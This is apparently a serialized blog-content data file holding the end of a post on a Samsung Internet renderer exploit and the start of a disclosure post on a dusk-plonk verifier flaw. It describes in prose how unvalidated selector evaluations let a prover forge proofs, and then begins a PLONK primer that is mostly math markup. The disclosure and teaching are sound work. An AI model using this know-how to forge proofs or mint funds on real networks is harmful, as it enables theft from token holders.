exploitation.",{"type":23,"tag":24,"props":140596,"children":140597},{},[140598],{"type":28,"value":140599},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":1815,"props":140601,"children":140602},{},[140603],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":140605},[140606,140610,140613,140623],{"id":27996,"depth":540,"text":27999,"children":140607},[140608,140609],{"id":130743,"depth":555,"text":130746},{"id":130826,"depth":555,"text":130829},{"id":130859,"depth":540,"text":130862,"children":140611},[140612],{"id":131000,"depth":555,"text":130854},{"id":131144,"depth":540,"text":131147,"children":140614},[140615,140616,140617,140618,140619,140620,140621,140622],{"id":131150,"depth":555,"text":131153},{"id":131607,"depth":555,"text":131610},{"id":131790,"depth":555,"text":131793},{"id":131901,"depth":555,"text":131904},{"id":132178,"depth":555,"text":132181},{"id":134888,"depth":555,"text":134891},{"id":138169,"depth":555,"text":138172},{"id":140557,"depth":555,"text":140560},{"id":1800,"depth":540,"text":1803},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":140628,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":140629,"description":140630,"date":140631,"author":140632,"image":140633,"isFeatured":16,"onBlogPage":16,"tags":140635,"body":140638,"_type":1838,"_id":145902,"_source":1840,"_file":145903,"_stem":145904,"_extension":1843},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[106589,106590],{"src":140634,"width":96019,"height":12604},"/posts/dusk-commitment-issues/title.png",[140636,140637],"dusk","plonk",{"type":20,"children":140639,"toc":145882},[140640,140646,140687,140699,140705,140719,140724,140730,141021,141025,141297,141527,141533,142218,142222,142717,142725,142731,142750,142755,142761,142986,143025,143036,143042,143053,143761,143766,143769,143775,143828,143863,143895,143900,143904,143907,143913,143924,143937,143968,144035,144043,144065,144078,144505,144528,144533,144536,144541,144568,144664,144675,144722,144760,144771,145109,145126,145134,145137,145143,145148,145182,145190,145271,145274,145280,145294,145312,145317,145357,145365,145386,145389,145395,145400,145465,145479,145482,145488,145528,145539,145544,145549,145555,145569,145650,145671,145698,145701,145707,145721,145726,145731,145736,145871,145877],{"type":23,"tag":34349,"props":140641,"children":140643},{"id":140642},"commitment-issues-unverified-evaluations-in-dusks-plonk",[140644],{"type":28,"value":140645},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":24,"props":140647,"children":140648},{},[140649,140651,140658,140660,140667,140669,140676,140678,140685],{"type":28,"value":140650},"We found a critical soundness vulnerability in ",{"type":23,"tag":92,"props":140652,"children":140655},{"href":140653,"rel":140654},"https://github.com/dusk-network/plonk/",[96],[140656],{"type":28,"value":140657},"dusk-plonk",{"type":28,"value":140659},", the PLONK implementation powering ",{"type":23,"tag":92,"props":140661,"children":140664},{"href":140662,"rel":140663},"https://dusk.network/",[96],[140665],{"type":28,"value":140666},"Dusk Network's",{"type":28,"value":140668}," ~$60M ",{"type":23,"tag":92,"props":140670,"children":140673},{"href":140671,"rel":140672},"https://www.coingecko.com/en/coins/dusk",[96],[140674],{"type":28,"value":140675},"market cap",{"type":28,"value":140677},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":92,"props":140679,"children":140682},{"href":140680,"rel":140681},"https://github.com/dusk-network/rusk",[96],[140683],{"type":28,"value":140684},"Rusk",{"type":28,"value":140686}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":24,"props":140688,"children":140689},{},[140690,140692,140697],{"type":28,"value":140691},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":296,"props":140693,"children":140694},{},[140695],{"type":28,"value":140696},"without ever validating them against the trusted commitments in the verifier key.",{"type":28,"value":140698}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":70,"props":140700,"children":140702},{"id":140701},"how-plonk-works-briefly",[140703],{"type":28,"value":140704},"How PLONK works (briefly)",{"type":23,"tag":24,"props":140706,"children":140707},{},[140708,140710,140717],{"type":28,"value":140709},"For a rigorous treatment see the ",{"type":23,"tag":92,"props":140711,"children":140714},{"href":140712,"rel":140713},"https://eprint.iacr.org/2019/953",[96],[140715],{"type":28,"value":140716},"original paper",{"type":28,"value":140718},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":24,"props":140720,"children":140721},{},[140722],{"type":28,"value":140723},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":82,"props":140725,"children":140727},{"id":140726},"arithmetic-circuits-and-constraints",[140728],{"type":28,"value":140729},"Arithmetic circuits and constraints",{"type":23,"tag":24,"props":140731,"children":140732},{},[140733,140735,140784,140786,140935,140937,141020],{"type":28,"value":140734},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":56,"props":140736,"children":140738},{"className":140737},[2960,2961],[140739],{"type":23,"tag":504,"props":140740,"children":140742},{"className":140741},[2966],[140743],{"type":23,"tag":504,"props":140744,"children":140746},{"className":140745,"ariaHidden":2972},[2971],[140747],{"type":23,"tag":504,"props":140748,"children":140750},{"className":140749},[2977],[140751,140755,140760,140765,140770,140774,140779],{"type":23,"tag":504,"props":140752,"children":140754},{"className":140753,"style":3090},[2982],[],{"type":23,"tag":504,"props":140756,"children":140758},{"className":140757},[20698],[140759],{"type":28,"value":526},{"type":23,"tag":504,"props":140761,"children":140763},{"className":140762},[2988,20569],[140764],{"type":28,"value":18257},{"type":23,"tag":504,"props":140766,"children":140768},{"className":140767},[3101],[140769],{"type":28,"value":3104},{"type":23,"tag":504,"props":140771,"children":140773},{"className":140772,"style":3108},[3069],[],{"type":23,"tag":504,"props":140775,"children":140777},{"className":140776,"style":92284},[2988,20569],[140778],{"type":28,"value":2091},{"type":23,"tag":504,"props":140780,"children":140782},{"className":140781},[20720],[140783],{"type":28,"value":2105},{"type":28,"value":140785}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":56,"props":140787,"children":140789},{"className":140788},[2960,2961],[140790],{"type":23,"tag":504,"props":140791,"children":140793},{"className":140792},[2966],[140794],{"type":23,"tag":504,"props":140795,"children":140797},{"className":140796,"ariaHidden":2972},[2971],[140798,140860,140922],{"type":23,"tag":504,"props":140799,"children":140801},{"className":140800},[2977],[140802,140806,140847,140851,140856],{"type":23,"tag":504,"props":140803,"children":140805},{"className":140804,"style":122135},[2982],[],{"type":23,"tag":504,"props":140807,"children":140809},{"className":140808},[2988],[140810,140815],{"type":23,"tag":504,"props":140811,"children":140813},{"className":140812,"style":92284},[2988,20569],[140814],{"type":28,"value":2091},{"type":23,"tag":504,"props":140816,"children":140818},{"className":140817},[3005],[140819],{"type":23,"tag":504,"props":140820,"children":140822},{"className":140821},[3010],[140823],{"type":23,"tag":504,"props":140824,"children":140826},{"className":140825},[3015],[140827],{"type":23,"tag":504,"props":140828,"children":140830},{"className":140829,"style":2983},[3020],[140831],{"type":23,"tag":504,"props":140832,"children":140833},{"style":3024},[140834,140838],{"type":23,"tag":504,"props":140835,"children":140837},{"className":140836,"style":3030},[3029],[],{"type":23,"tag":504,"props":140839,"children":140841},{"className":140840},[3035,3036,3037,3038],[140842],{"type":23,"tag":504,"props":140843,"children":140845},{"className":140844},[2988,3038],[140846],{"type":28,"value":2100},{"type":23,"tag":504,"props":140848,"children":140850},{"className":140849,"style":3167},[3069],[],{"type":23,"tag":504,"props":140852,"children":140854},{"className":140853},[3172],[140855],{"type":28,"value":601},{"type":23,"tag":504,"props":140857,"children":140859},{"className":140858,"style":3167},[3069],[],{"type":23,"tag":504,"props":140861,"children":140863},{"className":140862},[2977],[140864,140868,140909,140913,140918],{"type":23,"tag":504,"props":140865,"children":140867},{"className":140866,"style":122010},[2982],[],{"type":23,"tag":504,"props":140869,"children":140871},{"className":140870},[2988],[140872,140877],{"type":23,"tag":504,"props":140873,"children":140875},{"className":140874},[2988,20569],[140876],{"type":28,"value":18257},{"type":23,"tag":504,"props":140878,"children":140880},{"className":140879},[3005],[140881],{"type":23,"tag":504,"props":140882,"children":140884},{"className":140883},[3010],[140885],{"type":23,"tag":504,"props":140886,"children":140888},{"className":140887},[3015],[140889],{"type":23,"tag":504,"props":140890,"children":140892},{"className":140891,"style":2983},[3020],[140893],{"type":23,"tag":504,"props":140894,"children":140895},{"style":3024},[140896,140900],{"type":23,"tag":504,"props":140897,"children":140899},{"className":140898,"style":3030},[3029],[],{"type":23,"tag":504,"props":140901,"children":140903},{"className":140902},[3035,3036,3037,3038],[140904],{"type":23,"tag":504,"props":140905,"children":140907},{"className":140906},[2988,3038],[140908],{"type":28,"value":16275},{"type":23,"tag":504,"props":140910,"children":140912},{"className":140911,"style":3070},[3069],[],{"type":23,"tag":504,"props":140914,"children":140916},{"className":140915},[3075],[140917],{"type":28,"value":1642},{"type":23,"tag":504,"props":140919,"children":140921},{"className":140920,"style":3070},[3069],[],{"type":23,"tag":504,"props":140923,"children":140925},{"className":140924},[2977],[140926,140930],{"type":23,"tag":504,"props":140927,"children":140929},{"className":140928,"style":92829},[2982],[],{"type":23,"tag":504,"props":140931,"children":140933},{"className":140932},[2988],[140934],{"type":28,"value":53649},{"type":28,"value":140936},", here in ",{"type":23,"tag":56,"props":140938,"children":140940},{"className":140939},[2960,2961],[140941],{"type":23,"tag":504,"props":140942,"children":140944},{"className":140943},[2966],[140945],{"type":23,"tag":504,"props":140946,"children":140948},{"className":140947,"ariaHidden":2972},[2971],[140949],{"type":23,"tag":504,"props":140950,"children":140952},{"className":140951},[2977],[140953,140958],{"type":23,"tag":504,"props":140954,"children":140957},{"className":140955,"style":140956},[2982],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":140959,"children":140961},{"className":140960},[2988],[140962,140967],{"type":23,"tag":504,"props":140963,"children":140965},{"className":140964},[2988,120573],[140966],{"type":28,"value":120576},{"type":23,"tag":504,"props":140968,"children":140970},{"className":140969},[3005],[140971],{"type":23,"tag":504,"props":140972,"children":140974},{"className":140973},[3010,20623],[140975,141009],{"type":23,"tag":504,"props":140976,"children":140978},{"className":140977},[3015],[140979,141004],{"type":23,"tag":504,"props":140980,"children":140982},{"className":140981,"style":91850},[3020],[140983],{"type":23,"tag":504,"props":140984,"children":140985},{"style":91854},[140986,140990],{"type":23,"tag":504,"props":140987,"children":140989},{"className":140988,"style":3030},[3029],[],{"type":23,"tag":504,"props":140991,"children":140993},{"className":140992},[3035,3036,3037,3038],[140994],{"type":23,"tag":504,"props":140995,"children":140997},{"className":140996},[2988,3038],[140998],{"type":23,"tag":504,"props":140999,"children":141001},{"className":141000},[2988,3038],[141002],{"type":28,"value":141003},"37",{"type":23,"tag":504,"props":141005,"children":141007},{"className":141006},[20726],[141008],{"type":28,"value":20729},{"type":23,"tag":504,"props":141010,"children":141012},{"className":141011},[3015],[141013],{"type":23,"tag":504,"props":141014,"children":141016},{"className":141015,"style":91881},[3020],[141017],{"type":23,"tag":504,"props":141018,"children":141019},{},[],{"type":28,"value":320},{"type":23,"tag":141022,"props":141023,"children":141024},"arithmetic-circuit-widget",{},[],{"type":23,"tag":24,"props":141026,"children":141027},{},[141028,141030,141056,141058,141137,141139,141216,141218,141295],{"type":28,"value":141029},"Each gate ",{"type":23,"tag":56,"props":141031,"children":141033},{"className":141032},[2960,2961],[141034],{"type":23,"tag":504,"props":141035,"children":141037},{"className":141036},[2966],[141038],{"type":23,"tag":504,"props":141039,"children":141041},{"className":141040,"ariaHidden":2972},[2971],[141042],{"type":23,"tag":504,"props":141043,"children":141045},{"className":141044},[2977],[141046,141051],{"type":23,"tag":504,"props":141047,"children":141050},{"className":141048,"style":141049},[2982],"height:0.6595em;",[],{"type":23,"tag":504,"props":141052,"children":141054},{"className":141053},[2988,20569],[141055],{"type":28,"value":2716},{"type":28,"value":141057}," has a left input ",{"type":23,"tag":56,"props":141059,"children":141061},{"className":141060},[2960,2961],[141062],{"type":23,"tag":504,"props":141063,"children":141065},{"className":141064},[2966],[141066],{"type":23,"tag":504,"props":141067,"children":141069},{"className":141068,"ariaHidden":2972},[2971],[141070],{"type":23,"tag":504,"props":141071,"children":141073},{"className":141072},[2977],[141074,141079],{"type":23,"tag":504,"props":141075,"children":141078},{"className":141076,"style":141077},[2982],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":141080,"children":141082},{"className":141081},[2988],[141083,141088],{"type":23,"tag":504,"props":141084,"children":141086},{"className":141085,"style":91810},[2988,20569],[141087],{"type":28,"value":91813},{"type":23,"tag":504,"props":141089,"children":141091},{"className":141090},[3005],[141092],{"type":23,"tag":504,"props":141093,"children":141095},{"className":141094},[3010,20623],[141096,141126],{"type":23,"tag":504,"props":141097,"children":141099},{"className":141098},[3015],[141100,141121],{"type":23,"tag":504,"props":141101,"children":141103},{"className":141102,"style":92327},[3020],[141104],{"type":23,"tag":504,"props":141105,"children":141107},{"style":141106},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[141108,141112],{"type":23,"tag":504,"props":141109,"children":141111},{"className":141110,"style":3030},[3029],[],{"type":23,"tag":504,"props":141113,"children":141115},{"className":141114},[3035,3036,3037,3038],[141116],{"type":23,"tag":504,"props":141117,"children":141119},{"className":141118},[2988,20569,3038],[141120],{"type":28,"value":2716},{"type":23,"tag":504,"props":141122,"children":141124},{"className":141123},[20726],[141125],{"type":28,"value":20729},{"type":23,"tag":504,"props":141127,"children":141129},{"className":141128},[3015],[141130],{"type":23,"tag":504,"props":141131,"children":141133},{"className":141132,"style":91881},[3020],[141134],{"type":23,"tag":504,"props":141135,"children":141136},{},[],{"type":28,"value":141138},", right input ",{"type":23,"tag":56,"props":141140,"children":141142},{"className":141141},[2960,2961],[141143],{"type":23,"tag":504,"props":141144,"children":141146},{"className":141145},[2966],[141147],{"type":23,"tag":504,"props":141148,"children":141150},{"className":141149,"ariaHidden":2972},[2971],[141151],{"type":23,"tag":504,"props":141152,"children":141154},{"className":141153},[2977],[141155,141159],{"type":23,"tag":504,"props":141156,"children":141158},{"className":141157,"style":108768},[2982],[],{"type":23,"tag":504,"props":141160,"children":141162},{"className":141161},[2988],[141163,141168],{"type":23,"tag":504,"props":141164,"children":141166},{"className":141165,"style":91798},[2988,20569],[141167],{"type":28,"value":92617},{"type":23,"tag":504,"props":141169,"children":141171},{"className":141170},[3005],[141172],{"type":23,"tag":504,"props":141173,"children":141175},{"className":141174},[3010,20623],[141176,141205],{"type":23,"tag":504,"props":141177,"children":141179},{"className":141178},[3015],[141180,141200],{"type":23,"tag":504,"props":141181,"children":141183},{"className":141182,"style":92327},[3020],[141184],{"type":23,"tag":504,"props":141185,"children":141186},{"style":108797},[141187,141191],{"type":23,"tag":504,"props":141188,"children":141190},{"className":141189,"style":3030},[3029],[],{"type":23,"tag":504,"props":141192,"children":141194},{"className":141193},[3035,3036,3037,3038],[141195],{"type":23,"tag":504,"props":141196,"children":141198},{"className":141197},[2988,20569,3038],[141199],{"type":28,"value":2716},{"type":23,"tag":504,"props":141201,"children":141203},{"className":141202},[20726],[141204],{"type":28,"value":20729},{"type":23,"tag":504,"props":141206,"children":141208},{"className":141207},[3015],[141209],{"type":23,"tag":504,"props":141210,"children":141212},{"className":141211,"style":91881},[3020],[141213],{"type":23,"tag":504,"props":141214,"children":141215},{},[],{"type":28,"value":141217},", and output ",{"type":23,"tag":56,"props":141219,"children":141221},{"className":141220},[2960,2961],[141222],{"type":23,"tag":504,"props":141223,"children":141225},{"className":141224},[2966],[141226],{"type":23,"tag":504,"props":141227,"children":141229},{"className":141228,"ariaHidden":2972},[2971],[141230],{"type":23,"tag":504,"props":141231,"children":141233},{"className":141232},[2977],[141234,141238],{"type":23,"tag":504,"props":141235,"children":141237},{"className":141236,"style":108768},[2982],[],{"type":23,"tag":504,"props":141239,"children":141241},{"className":141240},[2988],[141242,141247],{"type":23,"tag":504,"props":141243,"children":141245},{"className":141244},[2988,20569],[141246],{"type":28,"value":91768},{"type":23,"tag":504,"props":141248,"children":141250},{"className":141249},[3005],[141251],{"type":23,"tag":504,"props":141252,"children":141254},{"className":141253},[3010,20623],[141255,141284],{"type":23,"tag":504,"props":141256,"children":141258},{"className":141257},[3015],[141259,141279],{"type":23,"tag":504,"props":141260,"children":141262},{"className":141261,"style":92327},[3020],[141263],{"type":23,"tag":504,"props":141264,"children":141265},{"style":91854},[141266,141270],{"type":23,"tag":504,"props":141267,"children":141269},{"className":141268,"style":3030},[3029],[],{"type":23,"tag":504,"props":141271,"children":141273},{"className":141272},[3035,3036,3037,3038],[141274],{"type":23,"tag":504,"props":141275,"children":141277},{"className":141276},[2988,20569,3038],[141278],{"type":28,"value":2716},{"type":23,"tag":504,"props":141280,"children":141282},{"className":141281},[20726],[141283],{"type":28,"value":20729},{"type":23,"tag":504,"props":141285,"children":141287},{"className":141286},[3015],[141288],{"type":23,"tag":504,"props":141289,"children":141291},{"className":141290,"style":91881},[3020],[141292],{"type":23,"tag":504,"props":141293,"children":141294},{},[],{"type":28,"value":141296},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":24,"props":141298,"children":141299},{},[141300,141302,141307,141309,141413,141415,141518,141520,141525],{"type":28,"value":141301},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":1887,"props":141303,"children":141304},{},[141305],{"type":28,"value":141306},"selector",{"type":28,"value":141308}," values that act as switches: setting ",{"type":23,"tag":56,"props":141310,"children":141312},{"className":141311},[2960,2961],[141313],{"type":23,"tag":504,"props":141314,"children":141316},{"className":141315},[2966],[141317],{"type":23,"tag":504,"props":141318,"children":141320},{"className":141319,"ariaHidden":2972},[2971],[141321,141400],{"type":23,"tag":504,"props":141322,"children":141324},{"className":141323},[2977],[141325,141329,141387,141391,141396],{"type":23,"tag":504,"props":141326,"children":141328},{"className":141327,"style":108688},[2982],[],{"type":23,"tag":504,"props":141330,"children":141332},{"className":141331},[2988],[141333,141338],{"type":23,"tag":504,"props":141334,"children":141336},{"className":141335,"style":92284},[2988,20569],[141337],{"type":28,"value":92287},{"type":23,"tag":504,"props":141339,"children":141341},{"className":141340},[3005],[141342],{"type":23,"tag":504,"props":141343,"children":141345},{"className":141344},[3010,20623],[141346,141376],{"type":23,"tag":504,"props":141347,"children":141349},{"className":141348},[3015],[141350,141371],{"type":23,"tag":504,"props":141351,"children":141354},{"className":141352,"style":141353},[3020],"height:0.3283em;",[141355],{"type":23,"tag":504,"props":141356,"children":141357},{"style":92331},[141358,141362],{"type":23,"tag":504,"props":141359,"children":141361},{"className":141360,"style":3030},[3029],[],{"type":23,"tag":504,"props":141363,"children":141365},{"className":141364},[3035,3036,3037,3038],[141366],{"type":23,"tag":504,"props":141367,"children":141369},{"className":141368,"style":93806},[2988,20569,3038],[141370],{"type":28,"value":93809},{"type":23,"tag":504,"props":141372,"children":141374},{"className":141373},[20726],[141375],{"type":28,"value":20729},{"type":23,"tag":504,"props":141377,"children":141379},{"className":141378},[3015],[141380],{"type":23,"tag":504,"props":141381,"children":141383},{"className":141382,"style":91881},[3020],[141384],{"type":23,"tag":504,"props":141385,"children":141386},{},[],{"type":23,"tag":504,"props":141388,"children":141390},{"className":141389,"style":3167},[3069],[],{"type":23,"tag":504,"props":141392,"children":141394},{"className":141393},[3172],[141395],{"type":28,"value":601},{"type":23,"tag":504,"props":141397,"children":141399},{"className":141398,"style":3167},[3069],[],{"type":23,"tag":504,"props":141401,"children":141403},{"className":141402},[2977],[141404,141408],{"type":23,"tag":504,"props":141405,"children":141407},{"className":141406,"style":92829},[2982],[],{"type":23,"tag":504,"props":141409,"children":141411},{"className":141410},[2988],[141412],{"type":28,"value":2991},{"type":28,"value":141414}," makes a row a multiplication gate, setting ",{"type":23,"tag":56,"props":141416,"children":141418},{"className":141417},[2960,2961],[141419],{"type":23,"tag":504,"props":141420,"children":141422},{"className":141421},[2966],[141423],{"type":23,"tag":504,"props":141424,"children":141426},{"className":141425,"ariaHidden":2972},[2971],[141427,141505],{"type":23,"tag":504,"props":141428,"children":141430},{"className":141429},[2977],[141431,141435,141492,141496,141501],{"type":23,"tag":504,"props":141432,"children":141434},{"className":141433,"style":108688},[2982],[],{"type":23,"tag":504,"props":141436,"children":141438},{"className":141437},[2988],[141439,141444],{"type":23,"tag":504,"props":141440,"children":141442},{"className":141441,"style":92284},[2988,20569],[141443],{"type":28,"value":92287},{"type":23,"tag":504,"props":141445,"children":141447},{"className":141446},[3005],[141448],{"type":23,"tag":504,"props":141449,"children":141451},{"className":141450},[3010,20623],[141452,141481],{"type":23,"tag":504,"props":141453,"children":141455},{"className":141454},[3015],[141456,141476],{"type":23,"tag":504,"props":141457,"children":141459},{"className":141458,"style":141353},[3020],[141460],{"type":23,"tag":504,"props":141461,"children":141462},{"style":92331},[141463,141467],{"type":23,"tag":504,"props":141464,"children":141466},{"className":141465,"style":3030},[3029],[],{"type":23,"tag":504,"props":141468,"children":141470},{"className":141469},[3035,3036,3037,3038],[141471],{"type":23,"tag":504,"props":141472,"children":141474},{"className":141473},[2988,20569,3038],[141475],{"type":28,"value":116762},{"type":23,"tag":504,"props":141477,"children":141479},{"className":141478},[20726],[141480],{"type":28,"value":20729},{"type":23,"tag":504,"props":141482,"children":141484},{"className":141483},[3015],[141485],{"type":23,"tag":504,"props":141486,"children":141488},{"className":141487,"style":91881},[3020],[141489],{"type":23,"tag":504,"props":141490,"children":141491},{},[],{"type":23,"tag":504,"props":141493,"children":141495},{"className":141494,"style":3167},[3069],[],{"type":23,"tag":504,"props":141497,"children":141499},{"className":141498},[3172],[141500],{"type":28,"value":601},{"type":23,"tag":504,"props":141502,"children":141504},{"className":141503,"style":3167},[3069],[],{"type":23,"tag":504,"props":141506,"children":141508},{"className":141507},[2977],[141509,141513],{"type":23,"tag":504,"props":141510,"children":141512},{"className":141511,"style":92829},[2982],[],{"type":23,"tag":504,"props":141514,"children":141516},{"className":141515},[2988],[141517],{"type":28,"value":2991},{"type":28,"value":141519}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":1887,"props":141521,"children":141522},{},[141523],{"type":28,"value":141524},"permutation argument",{"type":28,"value":141526}," for that, which we will not cover here.",{"type":23,"tag":82,"props":141528,"children":141530},{"id":141529},"from-many-checks-to-one",[141531],{"type":28,"value":141532},"From many checks to one",{"type":23,"tag":24,"props":141534,"children":141535},{},[141536,141538,141543,141544,141636,141637,141729,141730,141822,141824,141829,141830,141922,141923,142015,142017,142042,142044,142069,142071,142163,142165,142190,142192,142217],{"type":28,"value":141537},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":1887,"props":141539,"children":141540},{},[141541],{"type":28,"value":141542},"witness polynomials",{"type":28,"value":5441},{"type":23,"tag":56,"props":141545,"children":141547},{"className":141546},[2960,2961],[141548],{"type":23,"tag":504,"props":141549,"children":141551},{"className":141550},[2966],[141552],{"type":23,"tag":504,"props":141553,"children":141555},{"className":141554,"ariaHidden":2972},[2971],[141556],{"type":23,"tag":504,"props":141557,"children":141559},{"className":141558},[2977],[141560,141564,141621,141626,141631],{"type":23,"tag":504,"props":141561,"children":141563},{"className":141562,"style":3090},[2982],[],{"type":23,"tag":504,"props":141565,"children":141567},{"className":141566},[2988],[141568,141573],{"type":23,"tag":504,"props":141569,"children":141571},{"className":141570,"style":94152},[2988,20569],[141572],{"type":28,"value":32062},{"type":23,"tag":504,"props":141574,"children":141576},{"className":141575},[3005],[141577],{"type":23,"tag":504,"props":141578,"children":141580},{"className":141579},[3010,20623],[141581,141610],{"type":23,"tag":504,"props":141582,"children":141584},{"className":141583},[3015],[141585,141605],{"type":23,"tag":504,"props":141586,"children":141588},{"className":141587,"style":141353},[3020],[141589],{"type":23,"tag":504,"props":141590,"children":141591},{"style":94173},[141592,141596],{"type":23,"tag":504,"props":141593,"children":141595},{"className":141594,"style":3030},[3029],[],{"type":23,"tag":504,"props":141597,"children":141599},{"className":141598},[3035,3036,3037,3038],[141600],{"type":23,"tag":504,"props":141601,"children":141603},{"className":141602},[2988,20569,3038],[141604],{"type":28,"value":116762},{"type":23,"tag":504,"props":141606,"children":141608},{"className":141607},[20726],[141609],{"type":28,"value":20729},{"type":23,"tag":504,"props":141611,"children":141613},{"className":141612},[3015],[141614],{"type":23,"tag":504,"props":141615,"children":141617},{"className":141616,"style":91881},[3020],[141618],{"type":23,"tag":504,"props":141619,"children":141620},{},[],{"type":23,"tag":504,"props":141622,"children":141624},{"className":141623},[20698],[141625],{"type":28,"value":526},{"type":23,"tag":504,"props":141627,"children":141629},{"className":141628},[2988,20569],[141630],{"type":28,"value":18257},{"type":23,"tag":504,"props":141632,"children":141634},{"className":141633},[20720],[141635],{"type":28,"value":2105},{"type":28,"value":576},{"type":23,"tag":56,"props":141638,"children":141640},{"className":141639},[2960,2961],[141641],{"type":23,"tag":504,"props":141642,"children":141644},{"className":141643},[2966],[141645],{"type":23,"tag":504,"props":141646,"children":141648},{"className":141647,"ariaHidden":2972},[2971],[141649],{"type":23,"tag":504,"props":141650,"children":141652},{"className":141651},[2977],[141653,141657,141714,141719,141724],{"type":23,"tag":504,"props":141654,"children":141656},{"className":141655,"style":3090},[2982],[],{"type":23,"tag":504,"props":141658,"children":141660},{"className":141659},[2988],[141661,141666],{"type":23,"tag":504,"props":141662,"children":141664},{"className":141663,"style":94152},[2988,20569],[141665],{"type":28,"value":32062},{"type":23,"tag":504,"props":141667,"children":141669},{"className":141668},[3005],[141670],{"type":23,"tag":504,"props":141671,"children":141673},{"className":141672},[3010,20623],[141674,141703],{"type":23,"tag":504,"props":141675,"children":141677},{"className":141676},[3015],[141678,141698],{"type":23,"tag":504,"props":141679,"children":141681},{"className":141680,"style":141353},[3020],[141682],{"type":23,"tag":504,"props":141683,"children":141684},{"style":94173},[141685,141689],{"type":23,"tag":504,"props":141686,"children":141688},{"className":141687,"style":3030},[3029],[],{"type":23,"tag":504,"props":141690,"children":141692},{"className":141691},[3035,3036,3037,3038],[141693],{"type":23,"tag":504,"props":141694,"children":141696},{"className":141695,"style":121575},[2988,20569,3038],[141697],{"type":28,"value":121578},{"type":23,"tag":504,"props":141699,"children":141701},{"className":141700},[20726],[141702],{"type":28,"value":20729},{"type":23,"tag":504,"props":141704,"children":141706},{"className":141705},[3015],[141707],{"type":23,"tag":504,"props":141708,"children":141710},{"className":141709,"style":91881},[3020],[141711],{"type":23,"tag":504,"props":141712,"children":141713},{},[],{"type":23,"tag":504,"props":141715,"children":141717},{"className":141716},[20698],[141718],{"type":28,"value":526},{"type":23,"tag":504,"props":141720,"children":141722},{"className":141721},[2988,20569],[141723],{"type":28,"value":18257},{"type":23,"tag":504,"props":141725,"children":141727},{"className":141726},[20720],[141728],{"type":28,"value":2105},{"type":28,"value":576},{"type":23,"tag":56,"props":141731,"children":141733},{"className":141732},[2960,2961],[141734],{"type":23,"tag":504,"props":141735,"children":141737},{"className":141736},[2966],[141738],{"type":23,"tag":504,"props":141739,"children":141741},{"className":141740,"ariaHidden":2972},[2971],[141742],{"type":23,"tag":504,"props":141743,"children":141745},{"className":141744},[2977],[141746,141750,141807,141812,141817],{"type":23,"tag":504,"props":141747,"children":141749},{"className":141748,"style":3090},[2982],[],{"type":23,"tag":504,"props":141751,"children":141753},{"className":141752},[2988],[141754,141759],{"type":23,"tag":504,"props":141755,"children":141757},{"className":141756,"style":94152},[2988,20569],[141758],{"type":28,"value":32062},{"type":23,"tag":504,"props":141760,"children":141762},{"className":141761},[3005],[141763],{"type":23,"tag":504,"props":141764,"children":141766},{"className":141765},[3010,20623],[141767,141796],{"type":23,"tag":504,"props":141768,"children":141770},{"className":141769},[3015],[141771,141791],{"type":23,"tag":504,"props":141772,"children":141774},{"className":141773,"style":141353},[3020],[141775],{"type":23,"tag":504,"props":141776,"children":141777},{"style":94173},[141778,141782],{"type":23,"tag":504,"props":141779,"children":141781},{"className":141780,"style":3030},[3029],[],{"type":23,"tag":504,"props":141783,"children":141785},{"className":141784},[3035,3036,3037,3038],[141786],{"type":23,"tag":504,"props":141787,"children":141789},{"className":141788,"style":91798},[2988,20569,3038],[141790],{"type":28,"value":114117},{"type":23,"tag":504,"props":141792,"children":141794},{"className":141793},[20726],[141795],{"type":28,"value":20729},{"type":23,"tag":504,"props":141797,"children":141799},{"className":141798},[3015],[141800],{"type":23,"tag":504,"props":141801,"children":141803},{"className":141802,"style":91881},[3020],[141804],{"type":23,"tag":504,"props":141805,"children":141806},{},[],{"type":23,"tag":504,"props":141808,"children":141810},{"className":141809},[20698],[141811],{"type":28,"value":526},{"type":23,"tag":504,"props":141813,"children":141815},{"className":141814},[2988,20569],[141816],{"type":28,"value":18257},{"type":23,"tag":504,"props":141818,"children":141820},{"className":141819},[20720],[141821],{"type":28,"value":2105},{"type":28,"value":141823}," and the selectors become ",{"type":23,"tag":1887,"props":141825,"children":141826},{},[141827],{"type":28,"value":141828},"selector 